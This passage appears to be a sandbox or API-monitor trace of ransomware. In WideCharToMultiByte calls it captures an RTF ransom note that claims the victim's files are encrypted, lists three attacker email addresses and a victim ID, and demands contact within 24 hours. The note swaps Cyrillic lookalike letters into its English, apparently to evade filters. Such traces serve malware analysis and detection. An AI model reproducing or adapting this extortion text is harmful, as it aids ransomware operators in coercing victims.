lpUsedDefaultChar=0x0) returned 14086 [0040.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 